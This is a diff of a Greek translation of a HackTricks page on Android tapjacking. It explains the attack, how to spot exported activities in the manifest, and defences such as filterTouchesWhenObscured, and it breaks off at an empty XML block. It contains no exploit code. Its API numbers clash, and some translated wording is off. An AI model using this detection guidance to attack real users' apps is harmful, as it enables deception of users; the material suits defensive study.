-Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)! +Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (Ειδικός Red Team του HackTricks AWS)! -Άλλοι τρόποι για να υποστηρίξετε το HackTricks: +Άλλοι τρόποι υποστήριξης του HackTricks: -* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)! +* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)! * Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com) * Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github. +* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
+
+ +{% embed url="https://websec.nl/" %} + + ## **Βασικές Πληροφορίες** -Το **Tapjacking** είναι μια επίθεση όπου μια **κακόβουλη εφαρμογή** εκκινείται και **τοποθετείται πάνω από μια εφαρμογή θύμα**. Μόλις εμφανίζει την εφαρμογή θύμα, η διεπαφή χρήστη της είναι σχεδιασμένη έτσι ώστε να εξαπατά τον χρήστη να αλληλεπιδράσει με αυτήν, ενώ παράλληλα μεταφέρει την αλληλεπίδραση στην εφαρμογή θύμα.\ -Στην πραγματικότητα, **τυφλώνει τον χρήστη ώστε να μην γνωρίζει ότι πραγματοποιεί πράξεις στην εφαρμογή θύμα**. +**Το Tapjacking** είναι μια επίθεση όπου μια **κακόβουλη εφαρμογή** εκκινείται και **τοποθετείται επάνω σε μια εφαρμογή θύμα**. Μόλις αποκρύψει ορατά την εφαρμογή θύμα, η διεπαφή χρήστη της σχεδιάζεται με τέτοιο τρόπο ώστε να εξαπατήσει τον χρήστη να αλληλεπιδρά μαζί της, ενώ μεταφέρει την αλληλεπίδραση στην εφαρμογή θύμα.\ +Ουσιαστικά, **τυφλώνει τον χρήστη από το να γνωρίζει ότι πραγματοποιεί πράξεις στην εφαρμογή θύμα**. -### Εντοπισμός +### Ανίχνευση -Για να εντοπίσετε εφαρμογές ευάλωτες σε αυτήν την επίθεση, πρέπει να αναζητήσετε **εξαγόμενες δραστηριότητες** στο αρχείο android manifest (σημειώστε ότι μια δραστηριότητα με ένα intent-filter εξάγεται αυτόματα από προεπιλογή). Αφού βρείτε τις εξαγόμενες δραστηριότητες, **ελέγξτε αν απαιτούν οποιαδήποτε άδεια**. Αυτό συμβαίνει επειδή η **κακόβουλη εφαρμογή θα χρειαστεί επίσης αυτήν την άδεια**. +Για να ανιχνεύσετε εφαρμογές ευάλωτες σε αυτήν την επίθεση, πρέπει να αναζητήσετε **εξαγόμενες δραστηριότητες** στο αρχείο android manifest (σημειώστε ότι μια δραστηριότητα με ένα intent-filter εξάγεται αυτόματα από προεπιλογή). Αφού βρείτε τις εξαγόμενες δραστηριότητες, **ελέγξτε αν απαιτούν κάποια άδεια**. Αυτό συμβαίνει επειδή η **κακόβουλη εφαρμογή θα χρειαστεί επίσης αυτήν την άδεια**. ### Προστασία #### Android 12 (API 31,32) και νεότερες εκδόσεις -[**Σύμφωνα με αυτήν την πηγή**](https://www.geeksforgeeks.org/tapjacking-in-android/)**,** οι επιθέσεις tapjacking αποτρέπονται αυτόματα από το Android από την έκδοση Android 12 (API 31 & 30) και νεότερες. Έτσι, ακόμα κι αν η εφαρμογή είναι ευάλωτη, **δεν θα μπορέσετε να την εκμεταλλευτείτε**. +[**Σύμφωνα με αυτήν την πηγή**](https://www.geeksforgeeks.org/tapjacking-in-android/)**,** οι επιθέσεις tapjacking αποτρέπονται αυτόματα από το Android από το Android 12 (API 31 & 30) και νεότερες εκδόσεις. Έτσι, ακόμη κι αν η εφαρμογή είναι ευάλωτη, **δεν θα μπορέσετε να την εκμεταλλευτείτε**. #### `filterTouchesWhenObscured` -Εάν η **`android:filterTouchesWhenObscured`** έχει την τιμή **`true`**, το `View` δεν θα λαμβάνει αγγίγματα όταν το παράθυρο της προβολής είναι καλυμμένο από ένα άλλο ορατό παράθυρο. +Εάν το **`android:filterTouchesWhenObscured`** έχει οριστεί σε **`true`**, το `View` δεν θα λαμβάνει αφήσεις όταν το παράθυρο της προβολής είναι αποκρυμμένο από ένα άλλο ορατό παράθυρο. #### **`setFilterTouchesWhenObscured`** -Το χαρακτηριστικό **`setFilterTouchesWhenObscured`** που έχει την τιμή true μπορεί επίσης να αποτρέψει την εκμετάλλευση αυτής της ευπάθειας εάν η έκδοση του Android είναι παλαιότερη.\ -Εάν έχει την τιμή **`true`**, για παράδειγμα, ένα κουμπί μπορεί να απενεργοποιηθεί αυτόματα **εάν είναι καλυμμένο**: +Η ιδιότητα **`setFilterTouchesWhenObscured`** ορισμένη σε true μπορεί επίσης να αποτρέψει την εκμετάλλευση αυτής της ευπάθειας εάν η έκδοση του Android είναι χαμηλότερη.\ +Εάν οριστεί σε **`true`**, για παράδειγμα, ένα κουμπί μπορεί να απενεργοποιηθεί αυτόματα **αν είναι αποκρυμμένο**. ```xml